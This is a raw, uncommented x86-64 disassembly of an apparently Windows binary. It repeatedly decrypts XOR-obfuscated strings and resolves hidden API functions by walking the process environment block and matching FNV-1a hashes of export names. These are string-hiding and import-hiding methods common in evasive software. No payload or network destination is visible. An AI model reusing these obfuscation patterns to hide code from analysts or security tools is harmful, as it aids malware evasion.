sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140090150
movdqa xmmword [rsp + 0x70], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140195758]
mov qword [rsp + 0x28], rax
lea rax, [0x140195750]
mov qword [rsp + 0x20], rax
lea r9, [0x140195748]
xor r8d, r8d
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x188]
call fcn.14003fe10
test al, al
je 0x14009049d
movups xmm0, xmmword [0x1401605b0]
movups xmmword [rbp + 0xce0], xmm0
movups xmm1, xmmword [0x1401605c0]
movups xmmword [rbp + 0xcf0], xmm1
movups xmm0, xmmword [0x1401605d0]
movups xmmword [rbp + 0xd00], xmm0
movups xmm1, xmmword [0x1401605e0]
movups xmmword [rbp + 0xd10], xmm1
movups xmm0, xmmword [0x1401605f0]
movups xmmword [rbp + 0xd20], xmm0
movsd xmm0, qword [str.8a_w_]
movsd qword [rbp + 0xd30], xmm0
movzx eax, word [0x140160608]
mov word [rbp + 0xd38], ax
movzx eax, byte [0x14016060a]
mov byte [rbp + 0xd3a], al
mov r8d, r12d
cmp r14d, 2
jl 0x140090395
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xce4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140090290
cmp r8d, 0x5b
jge 0x1400903e0
movsxd rax, r8d
lea r9, [rbp + 0xce0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5b
jl 0x1400903b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140090478
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140090478
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140090473
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140090450
cmp edx, 0x491e0a9c
je 0x14009047d
test r9d, r9d
jne 0x140090430
mov rax, qword [rax]
jmp 0x140090400
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xce0]
call rax
mov dword [rbp + 0x108], 0x42700000
mov dword [rbp + 0x10c], 0x43848000
lea rcx, [rbp + 0x108]
call fcn.140025b20
mov rcx, rdi
call fcn.140025920
mov eax, dword [0x140160618]
mov dword [rbp + 0xe0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.y_AGF_UCQVTH_]
mov byte [rbp + 0xe4], al
movsd qword [rbp + 0xd8], xmm0
mov r8d, r12d
cmp r14d, 2
jl 0x140090603
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.y_AGF_UCQVTH_]
xorps xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140090610
lea rcx, [rbp + 0xd8]
call fcn.14004f330
mov dword [rbp + 0x3d8], 0x432f0000
mov dword [rbp + 0x3dc], 0x43820000
lea rcx, [rbp + 0x3d8]
call fcn.140025b20
movaps xmm6, xmmword [0x1401632d0]
movaps xmm7, xmmword [0x1401632c0]
mov dword [rbp + 0x3e0], 0x43020000
mov dword [rbp + 0x3e4], 0x41f00000
movsd xmm0, qword [0x140160620]
movsd qword [rbp + 0x228], xmm0
mov eax, dword [0x140160628]
mov dword [rbp + 0x230], eax
movzx eax, word [0x14016062c]
mov word [rbp + 0x234], ax
cmp byte [0x14016062d], 0
je 0x140090820
mov r8d, r12d
cmp r14d, 2
jl 0x1400907da
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160620]
xorps xmm2, xmm0
movd dword [rbp + 0x228], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x22c]
xorps xmm2, xmm1
movd dword [rbp + 0x22c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x228]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400907f0
movdqa xmmword [rsp + 0x70], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140195770]
mov qword [rsp + 0x28], rax
lea rax, [0x140195768]
mov qword [rsp + 0x20], rax
lea r9, [0x140195760]
xor r8d, r8d
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x228]
call fcn.14003fe10
test al, al
je 0x140090b30
movups xmm0, xmmword [str.CESA_]
movups xmmword [rbp + 0xa48], xmm0
movups xmm1, xmmword [0x140160640]
movups xmmword [rbp + 0xa58], xmm1
movups xmm0, xmmword [0x140160650]
movups xmmword [rbp + 0xa68], xmm0
mov eax, dword [0x140160660]
mov dword [rbp + 0xa78], eax
movzx eax, word [0x140160664]
mov word [rbp + 0xa7c], ax
movzx eax, byte [0x140160666]
mov byte [rbp + 0xa7e], al
mov r8d, r12d
cmp r14d, 2
jl 0x140090a15
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa4c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140090910
cmp r8d, 0x37
jge 0x140090a60
movsxd rax, r8d
lea r9, [rbp + 0xa48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140090a30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140090b08
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140090b08
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140090b03
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140090ae0
cmp edx, 0x491e0a9c
je 0x140090b10
test r9d, r9d
jne 0x140090ab0
mov rax, qword [rax]
jmp 0x140090a80
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xa48]
call rax
mov rcx, r15
call fcn.140025920
mov dword [rbp + 0x110], 0x42700000
mov dword [rbp + 0x114], 0x43910000
lea rcx, [rbp + 0x110]
call fcn.140025b20
mov eax, dword [0x140160698]
movups xmm0, xmmword [0x140160668]
mov dword [rbp + 0x7f8], eax
movups xmmword [rbp + 0x7c8], xmm0
movzx eax, byte [0x14016069c]
movups xmm0, xmmword [0x140160688]
movups xmm1, xmmword [0x140160678]
mov byte [rbp + 0x7fc], al
movups xmmword [rbp + 0x7e8], xmm0
movups xmmword [rbp + 0x7d8], xmm1
mov r8d, r12d
cmp r14d, 2
jl 0x140090ce5
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7cc]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140090be0
cmp r8d, 0x35
jge 0x140090d30
movsxd rax, r8d
lea r9, [rbp + 0x7c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140090d00
lea rcx, [rbp + 0x7c8]
call fcn.14004f330
mov rcx, qword [rbp + 0xa0]
call fcn.140025920
mov dword [rbp + 0x3e8], 0x42700000
mov dword [rbp + 0x3ec], 0x43340000
lea rcx, [rbp + 0x3e8]
call fcn.140025b20
mov rcx, r15
call fcn.140025920
mov dword [rbp + 0x3f0], 0x440c0000
mov dword [rbp + 0x3f4], 0x40a00000
lea rcx, [rbp + 0x3f0]
call fcn.140025b20
movaps xmm0, xmmword [0x140163290]
movaps xmm1, xmmword [0x140163260]
mov dword [rbp + 0x3f8], 0x41a00000
mov dword [rbp + 0x3fc], 0x41f00000
movzx eax, word [0x1401606a0]
mov word [rbp - 0x70], ax
cmp byte [0x1401606a1], 0
je 0x140090dd2
mov byte [rbp - 0x70], 0x78
xor byte [rbp - 0x6f], 0x31
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401957a0]
mov qword [rsp + 0x28], rax
lea rax, [0x140195798]
mov qword [rsp + 0x20], rax
lea r9, [0x140195790]
xor r8d, r8d
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp - 0x70]
call fcn.14003fe10
test al, al
je 0x140090e33
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.1400159f0
nop
lea rcx, [rbp + 0x1218]
call fcn.1400647c0
jmp 0x140090e58
mov r15, qword [rbp + 0x98]
mov rdi, qword [rbp + 0x400]
cmp byte [0x1401966fb], 0
je 0x140093976
mov qword [rbp + 0x408], 0x43160000
lea rcx, [rbp + 0x408]
call fcn.140025b20
mov rcx, r15
call fcn.140025920
call fcn.1400195e0
mov rbx, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x410], 0x44138000
mov dword [rbp + 0x414], 0x43e60000
movsd xmm0, qword [0x1401606a8]
movsd qword [rbp - 0x40], xmm0
movzx ecx, word [0x1401606b0]
mov word [rbp - 0x38], cx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140090f05
mov byte [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor byte [rbp - 0x3c], 0x34
xor byte [rbp - 0x3b], 0x35
xor byte [rbp - 0x3a], 0x36
xor byte [rbp - 0x39], 0x37
xor byte [rbp - 0x38], 0x38
xor byte [rbp - 0x37], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x410]
lea rcx, [rbp - 0x40]
call fcn.140007ee0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x418], 0x42480000
mov dword [rbp + 0x41c], 0x42480000
lea rcx, [rbp + 0x418]
call fcn.140025b20
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [str.wCWVZ5]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1401606b8]
mov word [rbp + 0x14], ax
mov byte [rbp + 0x10], 0x47
xor byte [rbp + 0x11], 0x31
xor byte [rbp + 0x12], 0x32
xor byte [rbp + 0x13], 0x33
xor al, 0x34
mov byte [rbp + 0x14], al
xor byte [rbp + 0x15], 0x35
lea rcx, [rbp + 0x10]
call fcn.14004f330
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400251e0
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x1401606c0]
movups xmmword [rbp + 0x880], xmm0
movsd xmm0, qword [0x1401606d0]
movsd qword [rbp + 0x890], xmm0
cmp byte [0x1401606d7], 0
je 0x140091180
cmp r14d, 2
jl 0x14009113f
movdqa xmm5, xmmword [0x1401202d0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x884]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140091040
jmp 0x140091180
lea r9, [rbp + 0x880]
mov r8d, r12d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140091150
lea rcx, [rbp + 0x880]
call fcn.14004f330
mov dword [rbp + 0x420], 0x42480000
mov dword [rbp + 0x424], 0x42a00000
lea rcx, [rbp + 0x420]
call fcn.140025b20
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [0x1401606d8]
mov dword [rbp + 0xb0], eax
cmp byte [0x1401606db], 0
je 0x1400912b0
cmp r14d, 2
jl 0x14009126b
movdqa xmm3, xmmword [0x1401202d0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401632f0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401632f0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xb0], xmm2
jmp 0x1400912b0
lea r9, [rbp + 0xb0]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140091280
lea rcx, [rbp + 0xb0]
call fcn.14004f330
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400251e0
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x1401606e0]
movups xmmword [rbp + 0x840], xmm0
movsd xmm0, qword [0x1401606f0]
movsd qword [rbp + 0x850], xmm0
mov eax, dword [0x1401606f8]
mov dword [rbp + 0x858], eax
cmp byte [0x1401606fb], 0
je 0x1400914c0
mov r8d, r12d
cmp r14d, 2
jl 0x140091475
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x844]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140091370
cmp r8d, 0x1c
jge 0x1400914c0
movsxd rax, r8d
lea r9, [rbp + 0x840]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140091490
lea rcx, [rbp + 0x840]
call fcn.14004f330
mov byte [rbp + 0x18], 0
lea rcx, [rbp + 0x18]
call fcn.14004f330
lea rdi, [0x140195268]
lea rsi, [0x1401951e8]
lea r12, [0x140195208]
lea r15, [0x140195288]
lea r13, [0x140195228]
lea r14, [0x1401952a8]
cmp byte [0x1401966f4], 0
jne 0x1400915b6
cmp rdi, rsi
je 0x14009153b
mov rdx, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
